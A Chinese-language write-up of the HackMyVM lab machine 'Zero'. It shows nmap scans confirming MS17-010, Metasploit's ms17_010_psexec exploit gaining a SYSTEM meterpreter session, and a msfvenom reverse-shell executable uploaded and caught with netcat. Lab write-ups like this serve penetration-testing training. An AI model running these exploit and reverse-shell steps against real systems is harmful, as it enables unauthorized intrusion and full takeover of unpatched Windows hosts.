又是个win系统的,靶机下载地址https://hackmyvm.eu/machines/machine.php?vm=Zero。
主要是ms17-010漏洞的利用。
开机扫描端口。
└─$ nmap -sV -sC -Pn -p- -oN port.log 192.168.56.140
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-02 09:39 CST
Nmap scan report for 192.168.56.140
Host is up (0.00062s latency).
Not shown: 65517 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-11-02 16:41:41Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: zero.hmv, Site: Default-First-Site-Name)
445/tcp open microsoft-ds Windows Server 2016 Standard Evaluation 14393 microsoft-ds (workgroup: ZERO)
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: zero.hmv, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49669/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49670/tcp open msrpc Microsoft Windows RPC
49684/tcp open msrpc Microsoft Windows RPC
MAC Address: 08:00:27:23:EC:4C (Oracle VirtualBox virtual NIC)
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2024-11-02T16:42:29
|_ start_date: 2024-11-02T16:35:59
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: required
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
|_clock-skew: mean: 17h19m58s, deviation: 4h02m29s, median: 14h59m58s
|_nbstat: NetBIOS name: DC01, NetBIOS user: <unknown>, NetBIOS MAC: 08:00:27:23:ec:4c (Oracle VirtualBox virtual NIC)
| smb-os-discovery:
| OS: Windows Server 2016 Standard Evaluation 14393 (Windows Server 2016 Standard Evaluation 6.3)
| Computer name: DC01
| NetBIOS computer name: DC01\x00
| Domain name: zero.hmv
| Forest name: zero.hmv
| FQDN: DC01.zero.hmv
|_ System time: 2024-11-02T09:42:29-07:00
根据提示,将zero.hmv
加入hosts。一些搜索后,无可用入口,只能从smb入手。确定支持smb v1,存在漏洞。
└─$ nmap -p139,445 --script smb-protocols $IP
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-04 07:49 CST
Nmap scan report for zero.hmv (192.168.56.140)
Host is up (0.0014s latency).
PORT STATE SERVICE
139/tcp open netbios-ssn
445/tcp open microsoft-ds
MAC Address: 08:00:27:23:EC:4C (Oracle VirtualBox virtual NIC)
Host script results:
| smb-protocols:
| dialects:
| NT LM 0.12 (SMBv1) [dangerous, but default]
| 2:0:2
| 2:1:0
| 3:0:0
| 3:0:2
|_ 3:1:1
Nmap done: 1 IP address (1 host up) scanned in 0.29 seconds
└─$ nmap -p445 --script smb-vuln-ms17-010.nse $IP
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-04 07:58 CST
Nmap scan report for zero.hmv (192.168.56.140)
Host is up (0.0011s latency).
PORT STATE SERVICE
445/tcp open microsoft-ds
MAC Address: 08:00:27:23:EC:4C (Oracle VirtualBox virtual NIC)
Host script results:
| smb-vuln-ms17-010:
| VULNERABLE:
| Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
| State: VULNERABLE
| IDs: CVE:CVE-2017-0143
| Risk factor: HIGH
| A critical remote code execution vulnerability exists in Microsoft SMBv1
| servers (ms17-010).
|
| Disclosure date: 2017-03-14
| References:
| https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
| https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
|_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
Nmap done: 1 IP address (1 host up) scanned in 0.18 seconds
在msf里查找可用的exploit。
msf6 > search smb ms17-010
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/windows/smb/ms17_010_eternalblue 2017-03-14 average Yes MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
...
10 exploit/windows/smb/ms17_010_psexec 2017-03-14 normal Yes MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Executio
n
...
尝试了一下,第二个exploit可以得到shell。
msf6 exploit(windows/smb/ms17_010_eternalblue) > use exploit/windows/smb/ms17_010_psexec
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_psexec) > set rhost 192.168.56.140
rhost => 192.168.56.140
msf6 exploit(windows/smb/ms17_010_psexec) > set lhost 192.168.56.101
lhost => 192.168.56.101
msf6 exploit(windows/smb/ms17_010_psexec) > run
[*] Started reverse TCP handler on 192.168.56.101:4444
[*] 192.168.56.140:445 - Target OS: Windows Server 2016 Standard Evaluation 14393
[*] 192.168.56.140:445 - Built a write-what-where primitive...
[+] 192.168.56.140:445 - Overwrite complete... SYSTEM session obtained!
[*] 192.168.56.140:445 - Selecting PowerShell target
[*] 192.168.56.140:445 - Executing the payload...
[+] 192.168.56.140:445 - Service start timed out, OK if running a command or non-service executable...
[*] Sending stage (176198 bytes) to 192.168.56.140
[*] Meterpreter session 1 opened (192.168.56.101:4444 -> 192.168.56.140:49690) at 2024-11-04 08:09:59 +0800
meterpreter >
虽然弹出shell还有问题,但有了meterpreter一样可以操作。也可以上传一个msfvenom生成的shell得到命令行。
meterpreter > upload rev.exe
[*] Uploading : /home/kali/Documents/zero/rev.exe -> rev.exe
[*] Uploaded 7.00 KiB of 7.00 KiB (100.0%): /home/kali/Documents/zero/rev.exe -> rev.exe
[*] Completed : /home/kali/Documents/zero/rev.exe -> rev.exe
meterpreter > execute -f "cmd.exe" -a "/c c:\\rev.exe"
Process 3056 created.
└─$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.56.101 LPORT=1234 -f exe -o rev.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of exe file: 7168 bytes
Saved as: rev.exe
└─$ nc -nlvp 1234
listening on [any] 1234 ...
connect to [192.168.56.101] from (UNKNOWN) [192.168.56.140] 49737
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.
C:\>dir
dir
Volume in drive C has no label.
Volume Serial Number is E4E7-1761
Directory of C:\
07/16/2016 05:18 AM <DIR> PerfLogs
04/15/2024 06:04 AM <DIR> Program Files
01/06/2017 07:09 PM <DIR> Program Files (x86)
11/04/2024 07:38 AM 7,168 rev.exe
04/15/2024 06:34 AM <DIR> Users
05/24/2024 02:28 PM <DIR> Windows
1 File(s) 7,168 bytes
5 Dir(s) 22,896,005,120 bytes free
C:\>whoami
whoami
nt authority\system
C:\>
另外,VulNyx平台的Eternal、Experience两个靶机也是同样利用这个漏洞,不再另发文章。